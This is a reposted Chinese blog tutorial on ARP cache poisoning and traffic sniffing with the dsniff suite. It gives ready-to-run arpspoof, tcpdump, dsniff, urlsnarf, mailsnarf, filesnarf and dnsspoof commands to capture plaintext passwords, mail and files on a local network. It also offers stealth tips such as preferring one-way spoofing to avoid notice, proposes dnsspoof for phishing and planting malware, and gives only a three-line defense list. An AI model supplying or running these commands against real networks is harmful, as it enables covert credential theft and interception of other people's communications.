熟练使用 dsniff套件 进行嗅探
2020-01-18 10:42:20 Author: mp.weixin.qq.com(查看原文) 阅读量:187 收藏


0x01 嗅探之前,我们有必要先来大致回顾下arp和rarp的基本通信流程,假设现在交换机中的mac地址表中暂时还没有任何对应关系A机器想和B机器进行通信

arp  地址解析协议,即通过ip找对应的mac:

首先,A会先发arp请求[广播],向同一交换机下的所有其它机器询问,谁有B的这个ip

当B收到这条消息时,就会再用arp响应给A,说,我有这个ip,我的mac是多少...

当完成第一次正常通信之后就会在交换机的mac地址表中记录下这层指向对应关系

后续就直接按照mac地址表中已有的指向来通信,而不再用广播询问,这就是一次极为常规的arp通信过程 

rarp  反向地址解析协议,即通过mac找对应的ip:

理解完arp以后,我们再来看rarp,同样是先发请求,这个请求简单来讲也是一个广播,不过,在此广播中声明了自己的mac

并请求任何收到此请求的rarp服务器分配一个ip,当同网段的rarp服务器收到此请求后会检查自己的rarp列表找到该mac对应的ip

如果此mac的ip被找到,就直接响应对方使用,如果没找到,最后就会提示初始化失败 

0x02 关于arp欺骗最核心的细节

1、假设同一交换机下有三台机器,分别为 A , B , C,正常情况下B和C的通信数据,A是不可能看到的

2、但在ARP缓存表机制中存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己曾经是否向对方主机发送过ARP请求

3、就直接就把这个应答包中的IP与MAC地址的对应关系更新到自己本地的ARP缓存表中,这时就直接导致原有IP的对应关系被恶意替换

4、通俗点儿理解,也就是说,我强制刷新了对方的arp缓存对应关系,把原来ip的指向现在换成了我自己的地址

5、 导致现在B和C的通信都要先经过A,那么,我们在A上自然就可以顺利的看到C和B之间的所有明文通信数据,即实现了所谓的监听 

0x03 简单的arp欺骗实战利用演示

首先,开启本地的路由转发功能,让所有被嗅探的目标都通过你的机器来正常上网,所以必须在你本机开启转发,不然会导致目标无法上网,也很可能被人察觉

永久开启转发:

# vi /etc/sysctl.conf

net.ipv4.ip_forward=1

# sysctl -p

临时开启转发:

# echo 1 > /proc/sys/net/ipv4/ip_forward

此次用于实验的环境大致如下

centos6.8 x86_64 ip: 192.168.3.4 eth2  mac: 00:0C:29:C4:A0:95   嗅探者的机器 dsniff

win7 x64   ip: 192.168.3.8       mac: 00-0C-29-3B-BF-A8   被嗅探的机器

win 2008R2   ip: 192.168.3.23      mac: 00-0C-29-6C-55-D2   上面已经事先配置好了各种服务

网关 ip: 192.168.3.1       mac: dc-ee-06-96-b7-b7

这次,我们直接利用epel源来安装dsniff,最好别自己用源码装,不然你会发现这就是个死循环,编译过程中的问题会非常的多,而且解决起来也比较周折,确实没必要在那上面浪费太多时间

# yum install epel-release -y

# yum install dsniff -y

arpspoof 的两种缓存毒化方式,实战中尽量先让它跑一会儿,感觉毒化的差不多了,再开始嗅探数据

在目标机器上观察毒化前的网关mac是多少

单向欺骗,实战中最好用单向欺骗,相对不易被察觉

# arpspoof -i eth2 -t 192.168.3.8 192.168.3.1 &>/dev/null

# arpspoof -i eth2 -t 192.168.3.1 192.168.3.4 &>/dev/null

# killall arpspoof 停止arpspoof,最好连续多执行几次,执行到提示没有该进程为止

双向欺骗,被嗅探的机器是无法正常上网的,不建议用

# arpspoof -i 网卡接口 -t 目标机器ip  [-r 用来捕获两个方向的数据,默认是单向的] 网关ip

# arpspoof -i eth2 -t 192.168.3.8 -r 192.168.3.1

再次,回到被嗅探的目标机器上观察毒化后的网关mac变成了多少

利用各类嗅探工具截获流过本地的所有明文密码,图片数据,这里不一定非要用自带的dsniff,driftnet,比如,tcpdump,ettercap,各类py脚本…也都是非常不错的选择,反正别人机器上的数据都已经流过你的机器了,至于怎么截获,方法就非常多了,注意网卡不要抓错了,一定抓那个正在用于嗅探的网卡

# tcpdump -i eth2 -s 0 -nnA 'tcp dst port 80 and host 192.168.3.8 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'

# dsniff -i eth2

# driftnet -i eth0 

尝试利用urlsnarf截获目标的http url访问记录,主要是想看看目标内网还有没有其它的web之类的,抓到密码以后好针对性的下手,如果内容太多看着比较乱,可以使用-v选项指定过滤正则

# urlsnarf -i eth2

尝试利用dnsspoof进行简单的dns欺骗,可以适当的用它来钓鱼挂马什么的

# dnsspoof -i eth2 -f /etc/hosts

尝试利用 filesnarf 抓取往nfs共享目录中保存的文件,意思就是只要被嗅探的机器往nfs server共享目录存文件,也会自动复制到本地一份,速度可能会稍慢,比较简单,这里就不演示了

# filesnarf -i eth2

尝试利用mailsnarf嗅探各类邮件数据,同样它也支持正则输出

mailsnarf -i eth2

关于dsniff套件中的其它小工具这里就不一一说了,使用都非常简单,大家可以自己在实战中慢慢体会

0x05 关于arp防御的问题

绑定网关ip与mac

绑定本机Arp缓存表中网关的Mac IP

上靠谱的arp防火墙

...

后话:

迫不得已要嗅的时候,最好先仔细挑好目标机器,有针对性的嗅,切记千万不要一上来就全网段大规模的嗅,如果对方网络比较大,你的网卡很可能会撑不住,极易把别人搞掉线,另外,这样干,动静儿也非常大,一般拿到有用的东西,立马停掉即可,嗅的时间最好也不要太长,另外,关于嗅https明文密码和其它各类嗅探工具的使用,我们后续会慢慢再说,其实,说心里话,防护稍微好一点的内网,基本是没什么太多的机会给你嗅的,不过C段的时候还是可以试试的,^_^ 待续…

文章出处:klion's blog

原文链接:

https://klionsec.github.io/2017/10/23/dsniff/

推荐文章++++

*新漏洞使攻击者可以嗅探或劫持VPN连接

*Ettercap 一款嗅探工具

*“短信嗅探”调查:监控你的短信只要不到30元?


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650459447&idx=3&sn=a98b77dba4b3b5cb6fbae9b2db3acc20&chksm=83bba8d3b4cc21c5a4a70a8f553d24448a155d24d0a9f65c4c8aad9b98e5c8c98d0324c908e3#rd
如有侵权请联系:admin#unsafe.sh